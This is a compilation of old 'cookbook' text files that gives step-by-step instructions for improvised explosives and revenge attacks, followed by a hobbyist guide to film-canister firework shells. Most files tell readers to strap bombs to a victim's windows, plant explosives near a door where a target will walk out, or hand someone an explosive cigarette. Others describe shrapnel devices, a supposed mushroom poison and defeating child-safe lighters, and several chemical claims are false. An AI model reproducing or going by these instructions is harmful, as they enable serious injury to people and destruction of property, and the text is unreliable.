noise of the eggs splatering. Then you will paint bloches all over his
house. Just drip the paint. Then while your friend is happily, but
catiously splattering paint and eggs, the other person will set the
explosives that you brought along. You did not bring anything along the
lines of C-4 because than thier is no point in painting his house or
splattering eggs on it if you are going to blow it to kingdom come. I am
suggesting something along the lines of a Co2 bomb straped to his windows
and doors. YOu must have about a 30 second fuse on them so that you can
get
away. While all of this is going on in the back yard you have your
remaining
associates and you in the front. In the front you have but two
objectives.
To screw up his car and finish the front side of the house. First you
must
get his house. You can do the same stuff you did in the back yard except
for the bushes. Then after you have done that, you line your explosives
on the windows and doors. When you line your explosives all over tape
some stink bombs to them so that not only will their windows be blown out
thier house will stink for the rest of the night as well. HeHe.... Now
on to his car. What you do to his car is really up to you. You do this
last if it is parked out in the street so it will be easy to get away. I
suggest to do everything in your knowlegde to his car for this reason:
After he comes outside and sees what happened to his house, he will then
look at his car to top it all of. He will go breserk! Their is just one
more thing you must do before you leave. Place one of the acetone bombs
I was talking about in the previous file on his remaining grass. So then
after all of that is done, Run to the back yard, light the fuses, light
the ones in the front yard and go! That is only the begining. When and
if he still goes to work, You can further screw up his car there, or just
refer to some of the other files in this cookbook for some ideas...hehehe
- = * > V O R T E X < * = - Contact Explosive This explosive is detonated by throwing it at something solid.
What you need are some PAPER caps, a sandwhich bag and some gunpowder.
Take your paper caps and cut them out so all you have are the little
round
part that contains the gun powder. Take those and place them into the
plastic bag. Then place a little flat rock that will act as a divider
in between the caps and the gun powder. You will have to drill holes
into
the rock and place a little strip of paper in the holes so that the gun
powder does not mix with the caps. The rock can not be any biger than
the
amount of caps or their is a chance of a misfire. Then you seal off the
bag and throw! Here is a diagram:
***
/
\

----------The caps MUST be compact! If you can not understand the diagram
then hopefully you can understand my instructions!
<-Vortex------Blasting CapsBlasting caps are a little better way of setting off and explosive.
They can give the explosive a higher detonation velocity and are needed
for
some higher explosives were a simple rocket igniter won't due. This is
kind of a mild version of a blasting cap. It does not pack quite the
punch
a regular blasting cap would. For one thing this will flash more or less
and an actuall blasting cap would explode or pop. All you need is some
paper, an estes model rocket igniter, and again some paper caps. Take
the
paper and cut off a peice about a square inch..you can size it down as
you go
along. COMPACT some caps into the peice of paper. Then cup the paper so
that the caps are in a little ball like shape. Then insert the igniter
into
the middle of the cap ball and crimp the paper shut tightly. You should
place a thin strip of tape right were the paper and the igniter meet to
keep it closed and compact. Then you insert this into whatever your
device
is and clip your detonating wires that run to the detonator on it and
boom
your done!

- Coat Hanger Explosives (Dog Bone)
This is probably one of the most simplest explosives to make. All
you need is a coat hanger (the kind with the white cardboard tubing as
the
bottom wire), gunpowder, a fuse, and some tape. First take the tubing
off
of the hanger. Then cut it into a piece about three and a half inches in
length. Fold about a half of an inch inward of one end. Then tape it
down with any kind of tape...even scotch tape works fine. Then make a
hole
with a SMALL nail about a half an inch from the crimped end. You can
then
pour in your gunpowder. Pour it in until it gets to be half an inch to
the
open end. Then crimp this end just as you did with the other (Don't
forget
the tape!). Then you can insert the fuse into the hole you made, light
it,
and run! This is eqevilent to a pack of firecrakers going off at once.
In other words it's pretty loud for it's size! Incase you still haven't
figured out why I call it a dog bone, it's because of the overall shape!
-------Vortex------- Explosives Tutorial IEvery person who make explosives should now everything in this
file.
I will be explaining generally how an explosive works and general saftey.
First of all if you wan't to be an "Explosives" professional one
day you must never call an Explosive a "bomb". This is one way to tell
the
difference between someone who is good with them and someone who just
thinks he is. An explosive is a powerfull force. It can be used for
plain
fun and recreation or for deadly means. If you don't show it respect it
will
show none to you. In other words if you toss them around and act like
thier nothing, you will sometimes find that they will not always
cooporate,
and possibly explode. You must always treat the smallest explosive like
it
is a block of C-4. If you do this you won't beleive how many accedents
you
will save yourself from having. Even if you are carefull sometimes you
just
have bad luck and one goes off in your face. I had some touch sensitive
explosives go off in my face, and trust me when I tell you it is an
awakening
you will never forget! Luckily it was not a high power explosive! Be
Careful!
It is common sense not to stick you head over something that is going to
flash or explode. This is the universal rule for high explosives or any
that throw shrapnel...(If you can see it, it can kill you). So BEWARE!!!
Now I will explain generally how an explosive works. An explosive
is something that lets off an enormus emount of energy at once. I'm not
a chemist so I don't know how touch explosives work, but I can give you
a basic runthrew on your standard pipebomb or CO2. The explosive
explodes
from internal pressure created by your explosive mixture such as gun
powder.
As you know gun powder does not explode, it burnes. Each of the little
grains of gunpowder lets off about 4000 thousand times its own gas when
lit, causing the pressure to build up rapid. The amount of pressure
build
up all depends on what kind of mixture you use and how thick your
container
is. I use a very fast burning smokless gunpowder. 700X to be exact.
Smokeless powders can sometimes prove to be better in some situations
than
for others. One thing is when the explosive goes off and it has somewhat
of a short fuse it will not allow anyone to know the point of origin. If
you use black powder it produces a big smokeball and can be seen
instantly.
But, black powder is always fun to use if you are just out to have fun
and
aren't trying to scare the crap out of someone who you don't want to get
caught by. Flash powder is not a very good powder for explosives. It
does
burn quite fast, but since it is such a fine grain powder, not all of it
has time to burn causing you to waste great quanitys of it. Another
reason
it is not the best for explosives is because it lets off a very strong
concentrated flame. If your powder does that, it might cause the hole
where the fuse passes through to burn open a little more causing your
explosive to turn into an extremely strong lighter. Gun powder such as
smokeless powders are made of chemicals such as ethier and are therefore
more flammable. An example would be: if you were to pour a flammable
liquid
on the ground such as ethier, gas, or acetone and lit it, it would all
light
instantly with a great flash. If you were to light flash powder in the
same amount, it would take longer for the flash powder to spread along
the
entire pile.
Now, you must always have a way of igniting the powder, a fuse.
For now I am only going to talk about non-electrical detonation. A fuse
is either flash powder rapped in a thin piece of paper or something
similar
to the fuse I explained how to make in one of the above files in the
cookbook. The fuse must always be placed in the explosive without
breaking
the airtightness of the container, which in some cases can be proven
difficult. Some ways of making the explosive airproof without having the
fuse all smashing in a crack is useing a thick, nonflammable powder. You
place this on top of the gunpowder on the end that will contain the fuse
hole. This will help keep the pressure inside of the container by
blocking
it's path to the outside. It would have a tough time pressing all of
that
powder through that little hole before it explodes. An example of this
is
the sample perfume container bomb in one of the above files.
------Vortex----==>
- Explosive Tutorial II In this I am going to explain generally how an electrical
detonation
works. An electrical detonating system is somewhat safer than that of a
non-electrical system. You don't have to worry about things such as the
wrong people walking by when your explosive goes off. Instead of using
a fuse you use an electrical igniter which is composed of two wires with
a thin wire on the tip made to glow red hot when an electrical current of
about six volts. On top of the thin wire is somewhat of a hard powder on
the tip to help the ignition. It is all set off by a detonator, which is
just a box which produces an electrical current with a few switches to
break the current when not in use for saftey. These can set off numerous
explosives at once if you string the wires out from your current source
in two or three sets of wires coming out instead of just your positive
and
negative you have two or three of each. Just one word of advise, ALWAYS
make sure your saftey switches are on before even thinking about
attaching
the wire from your detonator to the ingniter in your explosive.
--------=>Vortex
- Dog Bone II Since I've had so many complements on the first dog bone I've
decided
to make a revision file. After you make the regular dog bone, take some
modeling clay and coat the dog bone with it, making sure not to cover up
the
hole for the fuse. This will prove usefull by allowing you to stick it
on
smooth objects such as buildings. You can wait until your victim comes
out
of class and stick it on the outside of the building right near the door.
Hehehehe...
---------Vortex
- Explosive tutorial III This addition of the explosive tutorial will explain rockets, their
propellents, and their ignition systems.
First of all I will be talking about the model rocket engines
because
they are very easy to obtain and can be converted for many of your needs.
Your basic model rocket engine has three stages. It's first stage is
it's
propellent. It's propellent consists of a solid fuel composed of solid
black powder. It has a clay nozzle on the bottom side to direct and
concentrate the thrust out the back of the rocket. After the solid
propellent
burns out(usually depending on the engine, within half a second to two
and
a half seconds) the tracking smoke ignites. This is made specificly for
the
model rockets when they reach high altitudes. Then their is the ejection
charge. That is usually made of a black powder that blows out the
parachute
with a minor explosion. Now if you are going to make a rocket that has
an
explosive payload, or something that makes a design(such as a sky
rocket),
you will need to scrape off the tracking smoke for it to have a shorter
time
between igniting your payload. It will fly to the ground before it
ignites
your payload if it is to heavy and does not have those powders scraped
off.
Now I will talk about the ignition system. It is electrical,
unless
you have a long enough fuse that will fit up the engine nozzle and give
you
plenty off time to run like hell. But, if you are using the rocket
launcher
then it must be electrical. If you choose to shoot it out of a pipe you
can use the electronic detonator that I explained in one of my earlier
files.
They are ignited by using model rocket igniters that can be bought at
your
local hobbie store. You must make sure the two wires of the igniter are
not touching or else the igniter will fail and not fire the rocket. You
place the igniter in the bottom of the engine making sure you push it in
far enough so that it touches the solid propellent but to not force it or
else you might bend the wires causing them to touch. After the igniter
is
placed in the engine, you must then place something to keep the igniter
from
falling out. This can be done by placing an igniter plug in thier which
usually come with the engines now-a-days. If you don't have any you can
simply use a peice of tape that runs through the two wires holding it
firmly
in place. Never aprouch the rocket if it misfires for about a minute
just
in case. You don't want to have it go off in your face, because that
would
probably be an extremly rude awakening.
------Vortex------==>
- Cap Gun Conversion II This file will explain yet another way to convert a cap gun into
a very loud cap gun. Take one of the revolver cap guns that shoots the
plastic caps. You must fill the cillinder with either flash powder or
black powder. When you pull the triger, the flash from the cap will
ignite
the gun powder quickly causing a blank pistol effect. This one is not as
reliable as the other one, so you will have to experiment.
------Vortex
- Fun with mushrooms This file you will need to go and pick the mushrooms that grow in
you back yard. You place them in a ziplock (airtight) plastic bag, and
leave alone in a warm place for a couple of weeks. After a few weeks
you will have found that the mushrooms have despersed all of the liquid
inside of them. You will find that this liquid will come in handy for
many different things. For one thing you will find that as soon as you
open the bag you will be met with one of the sickest stenches you can
think
of. That is the liquid. You can do many things with a stinky liquid,
such
as, filling a glass jar with a top and throwing this at your victims
front
door. Another use for it is a posion. It did come from the mushrooms,
and
everyone knows that the mushrooms that grow in your back yards, are
poisonous.
You can probably find a few other intersting things to due with these
mushrooms, but that's all the idea's I have (for now).

-How to beat the Childproof lighterNow-a-days they don't sell you the regular lighters anymore. You
can only buy the chlidproof ones. I found them extremly anoying having
to
push that little button in every time you wanted to light the lighter.
So
we came up with a very simple way of converting it back to the old kind.
First of all I am telling you about the "bic" lighters scince they are
the
best. All other lighters brake very easily. What you need to do is take
your pocket knife and pry out the little red saftey button that is under
the
gas button. After you have pryed this button out you should have a hole
under the gas button with a little strip of metal hanging out. Give this
a good tug to pull it out. Then your lighter is back to normal...just
give it a flick..no more saftey button!!!!!!
------Vortex
Broght to you by the -=>A U P<=- Contact pen bomb -
This is an explosive fairly simple to make and is quite effective
with
the proper adjustments. When this bomb is complete, you will be able to
throw it up in the air and when it lands it will explode. This is
similar to
those little rocket shaped things you buy in the store that you place a
cap
in and they snap when they land (except this one packs alot more punch).
It must be a push button pen. Take one of those and gut the inside.
Yes,
this means taking out the ink cartridge, the spring(save it), ect. Then
you
must unscrew the tip of the pen and place a piece of solid metal in it so
that
the metal is lying flat. Then you must get a thin metal rod and place it
where the ink cartridge went. It must have a flat tip for the point that
is
placed facing the tip of the pen. You must then replace the spring of
the pen
onto the metal rod so that it acts the same for it. You might have to
make
groves in the rod so that the spring can be held in place. Now for the
explosives!!!!!HAHAHAHA!!!!!!!!Fill the pen around the rod with gunpowder
of
your choice. Then place to caps on the metal plate and screw back on the
tip. This explosive does not have a 100% detonation rate so you might
have to
fiddle with it a couple of times. Just to get you started, a few things
that
might go wrong with your pen explosive is that you have placed to many
caps
on the metal plate, you have not placed enough, the gun powder was
getting
under the rod and interfering with the caps bieng set off. Here is
somewhat
of a diagram:
Back
of
Pen
--------Pen casing-------\
---Metal rod--------------|\
--------Pen casing-------/
/ \ -Tip of pen
| metal plate
This is not a very good diagram, but it should be enough for you
to
get the picture. You will need to add somewhat of a wieght at the bottom
of
the pen right near the button. This will ensure that the pen will fall
on the
button to detonate the pen. How this works is when the pen hits the
ground,
it will press the button in with enough quickness and force that it will
pop
the caps. The caps will go off with a flash setting off the gunpowder
and
exploding the pen. Pretty simple hugh?

- Fun with plaster Yes everyone, plaster. It is very excessable, and can be used for
some big fun. One way is an improvement on the ajax bomb. You can mix
water
in the ajax, which I found more effective because it leaves a spot twice
as
bright on your target. Yet I have found another way. Use plaster in
place
of the ajax in the bottle. Mix with water until it forms a cream like
paste.
Now when you throw this at something, it will be a little harder to clean
up.

- Explosive Cigarettes This is a very simple revenge device. What you need is a
Cigarette,
and a firecracker. You must first take the cigarette and take out all of
the
tobacco, WITHOUT ripping or krinkling the paper!!!(This might prove to be
hard). If were able to do that correctly, then insert the fire craker in
the cigarette very gentally, pushing it all of the way back making it
touch
the filter(Fuse pointing out). Then insert some of the tobacco into the
remaining space of the paper without crinkling it. This then looks like
a normal cigarette when you are done if you have done it right. Then you
find someway to give it to you unsespecting smoking victim. When he
lights
it and it reaches the fuse..........BOOOOOM...right in his
face!!!!!Yes!!!!
If any one has any suggestions on anything else that would work good in
the
cigarette, then please tell me!!!I HATE smokers!!!!!!Screw all of you
losers!!!!!!!AHhhhhhhhh,HA,HA,Ha,Ha......

Film canister Shell
For Mortars or Rockets
This is a rough and by no means full description of the making of a
simple, quick but yet interesting piece of fireworks.
I first heard about it in 1994, when I visited ************** in
****************. As far as I know , this is his invention, but I
guess there are some other pyros having wondered what to do with all
those empty film cannisters as well. My experience with the film
cannister shells is not over yet, and nor have I tried all of my ideas
when it comes to payload/construction. What I will tell you now is
only what you need to know to get started, the rest is up to you. I
can only wish you a safe and enjoyable expansion of your fireworks
items. Have fun!!
.....................................................................
As with almost every fireworks item, people have their favorite
materials and methods. My favorite film cannister is the black HDPE
type of cannister, the type that KODAK films arrives in. What I think
is the most important part is the lid. It should , in my opinion, be
of the type that "squeezes" the rim of the cannister between one inner
and one outer part of the lid. Here in ********, these lids are
black.
There are also one type of gray lid that might work, but it gets
rather soft when hot glue is applied, and I have had some trouble when
I tried to put it on without paying attention to the soft rim.
I have also tried a few FUJI type cannisters. They are transparent, and
their lids is more like a plug that does not overlap with the rim from
the outside. When gluing these lids with hot glue, you get a weak
seal, causing a bad break.
As in all other types of shells, uniform strength is important. But
carefully designing a shell using a powerful break in a flashbag is
often a successful way of eliminating the effect of a weak joint. So
don't loose hope if you are stuck with hundreds of FUJI type
cannisters. They might work perfect with the appropriate design of the
shell.
The fuse used in these shells is perhaps the biggest difference
from the ordinary shells. A conventional time fuse might work
perfect, but it is not neccesary, and the work of cutting and priming
these fuses is a waist of good pyro time. But still the fuse has to be
reliable and easy to make. Visco could perhaps be used, but it is not
so easy to get here.
So to avoid these problems, the film cannister shell uses a special
tube of black match. Instead of cotton, acryl string is used. I got my
acryl in a knitting store, and if you can choose between several
types, pick the thickest. Then black match is made the usual way,
being sure to squeeze all the air out of the fuse, to avoid any air
holes through the fuse. Dusting the finished fuse with BP is not
neccesary.
..........................................................
When he makes Teflon fuses, he uses a binder made from 8.5 grams of
animal glue per 100 ml. of water. He also reports that household
gelatin theoreticaly is the same, only more refined. He has used it as
a substitute when he didn't have anything else. You have to use hot
water to dissolv it. It makes a pretty good and stabile suspention of BP.
..........................................................
When the black match is dry, it can be cut into pieces of about 2-2.5
cm. Then the middle part of the fuse is wrapped with Teflon tape, also
known as PTFE tape. The length of the wrapping determines the timing
of the shell, and has to be adjusted to the burning speed of the black
match. 1.5-2 cm is a good starting point. Just be sure there is at
least 2-3 mm of match on each end that is not wrapped in tape, or else
a dud is on its way! The Teflon tape is soft and gives a tight seal
around the match, so that no flame can spread along the surface of the
fuse. Two or three layers of tape is sufficient. One roll of tape can
make a lot of fuses, and the tape is easy to stretch and tear. With a
little practice, it only takes a few seconds to make a fuse.
Of course, if you make a lousy black match, the fuse is not as good as
it could and should be. But as far as ******* ******** has experienced,
it is at least as good as you could expect commercial time fuse to
be. He has fired several hundreds of these shells, without any of them
flower potting or failing to ignited. That should speak for itself.
Depending on the diameter of your fuse, the quickest and easiest thing
to do is to get some kind of punching device to punch a hole in the
lid of the cannister. But as the lid is soft, anything that can make a
hole is usable. However, punching gives the best hole.
Then the fuse is simply just glued into the hole using hot glue,
applying glue to both sides of the lid.
Well, this is where every pyro has to use his own imagination. Colored
stars, tailed stars, strobes, anything will do. Now you have a way to
get rid of your small batches of stars, or testing small batches of
stars not having to wait for the 3" shells to dry. Just remember,
small shells require small stars (usually). You are on your own
here. Just let the imagination flow free and undisturbed !
If you attempt to use flash, go ahead! The shell has space for 30+
grams of flash, but you might want to sacrifice some of it for some
layers of craft paper on the inside walls. The film cannister is
not strong enough to get the full potential out of the
flash. Depending on your flash however, it is a quick way to get a
salute in a hurry (don't make them if you are in a hurry!), and added
titanium or zirconium makes the shell noteworthy.

In his opinion, if you use 70:30 KP flash, reinforcement of the cannister
is not neccesary. If you use nitrate based flash, you should however
do something to add strength.
In addition he has experimented with flash cannisters using masking
tape in stead of hot glue, not because he believe there is big danger
if you use hot glue, but because of the consequences if anything goes
wrong.

I guess that whistle mix is possible to use as well, and if a milder
burst is wanted, H3 or BP might give the desired effect. What I do
know is that by using a powerful break, the weak joint by the lid is
of no consearn. Using a softer burst especially together with the FUJI
type of film cannister on the other hand, causes the lid to pop open
not rupturing the cannister, creating an effect not unlike the
commercial rocket heading does. This can be desirable, especially if
no loud noises should be made. The more powerful burst also creates a
good bang (YEAH!). So depending on your intentions, you have almost
all the possibilities also found in the larger shells. The film
cannister is not suited for large inserts though!
Just as with traditional shells, you have different ways of arranging
the burst and the stars. The far quickest method is to just fill the
cannister almost full of stars, dump in a weighed or measured amount
of burst (I use about 1 gram of flash), and let the flash be loose
among the stars. What I have experienced is a rather weak pop and not
a good spreading of the stars. Using FUJI cannisters,the several stars
often came down unignited when the lid popped off. More flash, quicker
flash and better priming of the stars might solve the problem. I
still have to improve this method.
The other method that I have used with best results is also a bit more
laborous. In order to get better spread of the stars, I make a small
flashbag that keeps the flash centered in the cannister. If I remember
correctly, the diameter of the flashbag was about 6-7 mm, so that one
gram of flash could fit into the bag. The flashbag I used was about 1
cm shorter than the length of the cannister, so that I got one layer
of stars on the bottom of the cannister. I filled the flashbag with
flash, and glued it onto the lid , making sure to keep it straight
until the hot glue was cold.
In the mean time the cannister was filled with one layer of stars on
the bottom. Then a sort of "canulle" was prepared, a paper cylinder
slightly wider and shorter than the flashbag consisting of two layers
of paper was held in the middle of the film cannister, while the stars
was filled around it. Leaving a little space for the lid on top, not
filling too many stars in the cannister, the cannister in now ready to
the final assembly.
Now you take the glue gun, and give the lid a suitable amount of hot
glue. You want the glue to touch both the outside and the inside of
the cannister rim. Be aware of the theoretical danger with hot glue
and stars with low ignition temperature. In practice, the glue cools
down a bit before you are able to put the lid on, and it should be
safe. I also wipe away all loose flash or BP that is stuck on the rim
or other surfaces that get in touch with the hot glue, as well as
dumping the flash into the shell before I add the stars. The stars are
likely to have a lower ignition point than most flash types, but the
stars are easier to keep out of contact with the glue.
Please tell me if there are any examples of accidents caused
by hot glue.
Assuming that you have a centered paper canulle of the proper
diameter, putting the flashbag into the hole should be simple. Note
that the canulle is not removed, and that it will act as a
reinforcement of the flashbag.To get reproducible results, flashbag
and canulle has to be standardized.
Now is the critical moment. You have to
make sure that the lid gets into the correct position, and that no air
bubbles penetrates from the outside to the inside of the shell. Due to
the hot glue, the air trapped inside the shell and between the lid and
the rim will often cause bubbles to form. If you want to be sure no pin
holes are present, just add some glue outside along the lid when the
shell has cooled. With some practice, this is not neccesary. If you
have the gray type of lid, you will have to keep some pressure on it
until it has cooled. Be aware, that the lid often gets a bit too hot
to touch with your bare fingers. If all steps went as they should, you
now have a film cannister shell!
...............................................................
He does not fill the "edge" of the lid with glue before he puts the
lid on the cannister. He puts on the lid and applies glue to the
outside of the shell only. This is partly because he wants to avoid
any contact between the hot glue and the content of the shell, but
also because he believe the glue might destroy the already almost
airtight construction of the lid. This also gives less trouble with
bubbles forming.
.................................................................
One note about the flashbag. Using flash as burst, you will often
discover that the limits between success and failure are small. I have
used 1 gram of perclorate flash in the flashbag, but that was at the
edge of what my stars could take. Adding only a few turns of paper to
the flashbag OR the canulle, the stars were blown blind. If you do not
have an accurate scale, you can get problems with the consistency of
your shells. A milder flash might help a lot. Only careful tuning of
the burst will give the best results. Remember that BP based stars
probably can take even more powerful bursts than I have used.
In order to launch the shell, you must have a mortar or a
rocket. Since I haven't put any of these on a rocket (yet!), I will
only cover the more common and traditional way to launch a shell. What
you have to get is a tube of paper, steel or preferably HDPE. If I do
not remember wrong, the film canister is about 36-37 mm OD. I have
used mortars with 36mm ID, but I had to cut excess glue off all my
shells to keep them small enough to fit into the tube. So save time,
get a larger tube. Now I'm using used 40 mm candle tubes, cut to 25 cm
length. The tubes are glued onto a wooden plate using the marvelous
hot glue. Ignition is not by the quick match method used with larger
shells, but through a small hole at the side of the mortar. I insert a
piece of black match, pour 5 grams of fff sporting grade BP into the
mortar, add the shell with fuse end down, and the shell is ready to be
launched!
Here is a picture of me matching several film cannister shell
mortars. You also see some crossette fans and one of the 6" shell we
fired that evening.
The shells are also easy to fit onto a rocket. The rocket at the
bottom is carrying a film cannister shell.
____________________________________________________________________
Now, this is as far as I can get you. The rest is for you to find
out. A few thoughts and ideas not yet tried by me is:
Attaching comets to give rising tails. Just be sure the comet does not
burn through the cannister. Some protection might be needed. Making a
large Roman candle filled with these should draw some attention!
Filling a larger(5") cylinder shell with film cannister shells to get
shell of shells. If precision timing is required, use time fuse or
make the Teflon type as accurate as you can.
Making multi break shells (with bottom shot, or rather top shot). The
Teflon trick allows short delays. Longer mortars and heavier lift
might be needed.

Making fireworks is not only a challenge for your knowledge and skills
in chemistry. You also have to be able to make some tooling yourself,
if you do not want to spend a fortune buying from others. If you have
a friend with a lathe and a drill press, you are one lucky pyro! But
you still have to be able to tell him what to make. As I am still a
student, I do not have the money or the space to invest into
machinery. But I have a friend who has got it all! And as he turned
out to be a rocket freak, what was then more natural than asking him
to make me a rocket spindle?
The need for highly specialized tooling for each size of rockets,
makes life hard. I wanted to be able to use one rocket spindle to make
different types of rockets. What I did, was to settle on one rocket
diameter. Then the length of the spindle could be adjusted by stacking
plates around the spindle, in order to achieve a spindle length
suitable for the
Stinger missile. You can see the tube compared to the
spindle. This rocket (20 mm ID) can launch 130 grams payloads. <p>
Another beautiful effect that demands specialized tooling, is the
crossette. It is a cylindrical, pressed star, typically a
charcoal/glitter composition. The special shape of the plunger creates
a hole in the crossette that is filled with a bursting charge. The
smallest tip creates a fire transfer hole, so that when the crossette
is ignited in one end, it will burn until the flame reaches the small
hole that leads the flame to the burst. If everything is properly
made, the crossette should split into several (four or more)
pieces. The crossettes can be fired one by one from small mortars, or
they can be put into a shell to get a crossette shell. <p>
In order to press crossettes or the more sensitive whistle rockets,
some type of press has to be used. As I do not always carry my 40 kg
press around where ever I go, I had to make a quick and cheap press
when I went home one day. I constructed a nutcracker type of press
from two pieces of 5 X 10 cm (2" by 4") wood,
about 2 meters long, and two shorter pieces . I also used a piece of
thick wood plate as a
shield, just in case the rockets should explode when pressed. The
whole press was made in about one hour, and it is powerful enough for
most applications. The maximum pressure is about 500 kg. If higher
pressure is needed, metal should be used when building the press, or
one could use an hydraulic press.<p>
Here is another picture showing the press "in action". As you can see,
the important part is that the arms of the press is almost parallel,
or else the force from the press will not be directed straight down as
you want it to. You might need to build some sort of mould to keep the
rammers or the plunger from bending sideways.<p>
What I did was to make a wooden support, that keep the rammer and the
casing of the rocket on line. You can see the pieces of wood with a
hole that is about one mm wider than the casing. Two of the tree parts
holds the casing in position, while the last and upper piece keeps the
rammer from bending. The tree pieces are easy to put together, and the
mould works perfect in order to prevent bending of the casing. <p>
When all the pieces are put together, only the rammers can be
seen. The moulds are made to fit a 20 mm and a 10 mm ID rocket, having
2-3 mm thick walls. I have to use them until I can make a press with a
piston that moves vertically. Even then, some support for the smaller
rockets might be needed. <p>

Pyrotechnics I -Introduction-----------
What is pyrotechnics, you ask? Well it consists of a general
topic
of fire. Fire used for display purposes only! It can go from the
actuall
blowing up buildings for movies or launching the mortars on the 4th of
July.
I will talk about the firework part of pyrotechnics here, for the reason
of
because that is the stuff I like the most. Pyrotechnics is an art and a
hobbie.
You have to like it alot in order to be really good at it. You can't
screw up
by any measure unless you like getting burnt and blown up. It is
generally a
safe field if you know what your doing. Now I will explain the consept
of
how fireworks work. Well I guess I could start off with the skyrocket.
It
can be used for numerous diplays. Depending on where you get the
supplies can
determin wether or not this hobbie will be expensive. I made my first
actuall
skyrocket that worked very well on JULY 4th 1996. It worked wonderfully.
There
was only one problem. The average skyrocket goes about 100-150 feet up
in the
air and then throws its colored stars. Well my rocket engine that I used
(C6-7)
was a bit too powerfull. It launched the rocket to an alltitude (I'm
guessing)
of about 500-800 feet up. Too high. You could hardly see my star
composition
because it was so high. It blew up by throwing gold rain and crakling
white
stars. Every one loved it (except for the fact that it went to high).
Well now I will tell you how to make this one. It was a simple consept
but
smart. I used a regular model rocket that you can get at most hobbie
stores.
As I said above I used a C6-7 model rocket engine. You must have a
rocket that
you can open up right above the engine to expose the end, and must also
have
a nice distance from the tip of the engine to the nose cone of the rocket
for
your display materials. Before you insert the enging into the rocket,
you must
scrape of the following on the back of the rocket:
- the clay retainer cap
- the ejection charge
- half the tracking smoke / delay
After you have done this, place the engine into the rocket.
have
to obtain the following:
Now you will
- a nice length of firecraker fuse
- picolote pete powder
- crakling balls (out of the "fire crakle" type fireworks) they
come in
boxes that look like morning glory boxes.
- magnesium
- eletric starter (the kind used in old lights, can buy at store)
Now, mix 1 part magnesium, 2 parts crakling balls, 1 part picolote pete
powder,
and set it aside for later. Now take your starter and uncrimp the ends
to remove
the lid. After removing the lid, gut the thing so that it is empty.
Then at
the bottom there should be a little hole. You need to make this hole
about
two or three times larger than it already is. Then place the fuse you
obtained
( another good fuse to use is from the firecrakle things, use the gray
one, not
the green one!) in the hole at the bottom. It is always good to place as
many
as you can fit in the hole and then loop them so that incase one or two
of them
doesn't work. After placing the fuse, pour in your mixture that you have
made
before into the starter making sure that all of the fuses are running
through
it. Then place the cap back on the starter and crimp it down with the
four
little prongs. Place the starter into the rocket body just abouve the
engine.
Pour a little picolo pete powder into the end of the engine, about 3mm
high.
Then place the fuses coming out of the starter into the picolo pete
powder in
the end of the rocket. Carefully glue the rocket together without tiping
the
rocket upside down or else it will put pressure on the fuses causing some
to
rip and the rocket to fail. All left now is to fire!! When the rocket
engine
burns out it will ignite the picolo pete powder, igniting your fuses.
When the
stuff in the starter ignites it will create enough pressure to blow of
the lid
and everything inside of it. There is your display....Be creative...

Ammo for slingshots
This file will show the many useful and fun things to shoot off
your
slingshot. For example:

Potasium Picrate Explosives
There are many ways of having fun with picolo petes. The two
most basic
ways are smashing the last 2 - 3 inches of the picolo pete real hard down
with
a hammer, so after it is done whistling it will either take off like a
rocket
or explode, depending on how good you smash it. Now the second one takes
a little
more detail. This one if made with the proper equipment can detonate
louder
than an M-80. Take a 20 oz. coke bottle (1 liter)(these work the best
because
they are the thickest and make the loudest boom. Empty one picolo pete
and
pour all the white powder from it into the coke bottle. There should be
a layer
at the bottom of the bottle( just make sure you get all of the powder out
of
the picolo pete). Now punch a hole in the cap of the bottle with a small
nail.
Place the fuse from the picolo pete into the hole so it is half in and
half out.
Then just screw on the cap really hard. When you light it and the fuse
reaches
the cap it will drop onto the powder, therfore igniting it and detonating
the
explosive. Try this with a 3 liter soda bottle and fill the bottom 3
inches
with the potasium picrate(the white powder in the picolo petes). This
will
make the biggest boom you have ever heard garunteed.....trust me.....

Heat sensitive explosives
In other words, explosives that go off when exposed to heat, such
as
in someones barbacue pit at your camp ground. All it really is a a bomb
without
a fuse. Take one of the antena's off of your radios(the kind that
retract).
The antena gets smaller as it gets longer, so rip of bottom most peice
which
would naturally be the fatest. Fill this with your choice of powders and
crimp
and fold both ends down on it. Then throw it in a pit. Make sure no one
is
around the pit because it throws shrapnel....you can also do it with
pipes....

Tennis ball mortar
This one will amaze you of it's potential.
What you need is:
- 7-10 Tin cans (the kink with peas or stuff like that in them)
- lots of duct tape
Now take the tin cans and empty the stuff inside. Eat the stuff!
Then cut of the bottom plate on each can except for one of them. Then
take
the duct tape and tape all the cans together with the one that still has
its
bottom, on the bottom. Make sure you tape it GOOD, unless you can find
some
other way to seal them and them tape them. Take all of the lids and glue
or
tape them on the botom of your tube. Then you bury two thirds of the
tube
into the ground. You then must make a picolo pete bomb with a 20 oz. (1
liter)
soda bottle. Drop that in the tube after lighting it and drop a tennis
ball on
top. If made correctly it will shoot the tennis ball out so fast you
won't
be able to see it. You might have to retape the cans back together after
you
fire it because the blast usually screws it up. You can get creative and
shoot
paint mortars out of it: Cut an aluminum soda can in half and line it
with
foil. Then pour your choice of paint color into it. Fold the foil over
the
paint and there it is. Do the same procedure as for the tennis ball.

Fire breathing
There are two basic methods to fire breathing I will go over both
of them. Well, with this method we
Hold the lighter up to your mouth and let the gas flow into your mouth.
Do not inhale it! After your mouth is full, keep it closed until the
lighter is
lit in front of your mouth about an inch away, blow the gas out gradually
to
make a nice stream. All you will fell is a little heat. Number two, take
some
binaca and spray it once into your mouth kepping your mouth open but lips
close
together. This will keep the flammable liquid drifting in your mouth and
not
settling on your toungue. Then light the lighter about an inch in front
of your
mouth and blow slowly. Then fwwoooshsh a fire ball..no harm done. If
you
spray three sprays in your mouth you might feel a little more heat.....
